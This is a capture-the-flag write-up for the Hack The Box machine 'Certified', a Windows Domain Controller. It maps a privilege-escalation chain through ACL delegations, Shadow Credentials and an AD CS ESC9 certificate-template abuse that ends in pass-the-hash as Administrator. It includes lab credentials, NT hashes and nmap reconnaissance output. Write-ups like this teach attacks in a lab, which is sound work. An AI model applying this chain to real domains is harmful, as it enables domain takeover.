Certified
Executive summary — Certified is a Domain Controller with not a single CVE involved: the entire chain lives inside the Active Directory permission graph. Three chained ACL delegations (
WriteOwner→GenericWrite→GenericAll) hand over control of the userPrincipalName attribute of an account with enrollment rights on a misconfigured certificate template, enabling AD CS ESC9 to impersonate the domain Administrator without ever touching a password — both intermediate pivots are solved with Shadow Credentials, reversible and quiet.
| Platform | Hack The Box |
| Operating system | Windows Server 2019 (Build 17763) — Domain Controller |
| Difficulty | Medium |
| Status | Retired |
| Target IP | <TARGET_IP> |
| Domain | certified.htb |
| Starting point | judith.mader : judith09 (assumed breach) |
Attack map
judith.mader : judith09 (assumed breach, no WinRM)
│ WriteOwner
▼
MANAGEMENT group
│ 1. set owner -> judith 2. add genericAll -> judith 3. self-join
▼
management_svc (GenericWrite inherited from the group)
│ Shadow Credentials (msDS-KeyCredentialLink -> PKINIT -> U2U)
│ NT: a091c1832bcdd4677c28b5a6a1295584 <- user.txt (WinRM)
▼
ca_operator (GenericAll from management_svc)
│ Shadow Credentials again
│ NT: b4b86f45c6018f1b664f70805f45d8f2
│ only principal with Enrollment Rights on...
▼
AD CS — "CertifiedAuthentication" template (NoSecurityExtension = ESC9)
│ 1. (as management_svc, GenericAll) ca_operator.UPN := "Administrator"
│ 2. (as ca_operator) certipy req -> cert with SAN UPN=Administrator,
│ NO objectSid
│ 3. ca_operator.UPN := restored to ca_operator@certified.htb
│ 4. certipy auth -pfx -> with no SID the KDC maps by UPN
▼
[ROOT] Administrator NT: 0d5b49608bbce1751f708748f67e2d34 -> Pass-the-Hash -> root.txt
1. Reconnaissance
sudo nmap -p- --min-rate 3000 -T4 -Pn -oN scans/allports.txt <TARGET_IP>
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49666/tcp open unknown
The remaining 65,516 ports are
filtered, notclosed: a firewall is dropping packets, so any callback to Kali on an arbitrary port is risky. Worth planning the exploitation without reverse shells — exactly what this chain allows, running entirely over LDAP, Kerberos and RPC.
sudo nmap -p53,88,135,389,445,5985 -sCV -oN scans/services.txt <TARGET_IP>
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: ...)
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Not valid before: 2025-06-11T21:05:29
|_Not valid after: 2105-05-23T21:05:29
|_clock-skew: mean: 7h00m22s, deviation: 0s, median: 7h00m21s
|_ Message signing enabled and required
Two details worth flagging: an LDAPS certificate valid for 80 years points at an internally issued CA with an excessive lifetime — an early hint that AD CS is present in the domain — and mandatory SMB signing rules out any NTLM relay from the outset.
sudo bash -c 'echo "<TARGET_IP> certified.htb dc01.certified.htb DC01" >> /etc/hosts'
Notice what's missing: no port 80, no port 443. The CA is present but without the web enrollment role (
certsrv). All interaction with it will happen over RPC/DCOM (MS-ICPR) on the high ports. The machine name, the 80-year certificate, and — later — an account namedca_operatorare the thematic hint: the end of the chain is AD CS, but it has to be enumerated over LDAP against thePublic Key Servicescontainer instead of hunting for a web interface that doesn't exist.
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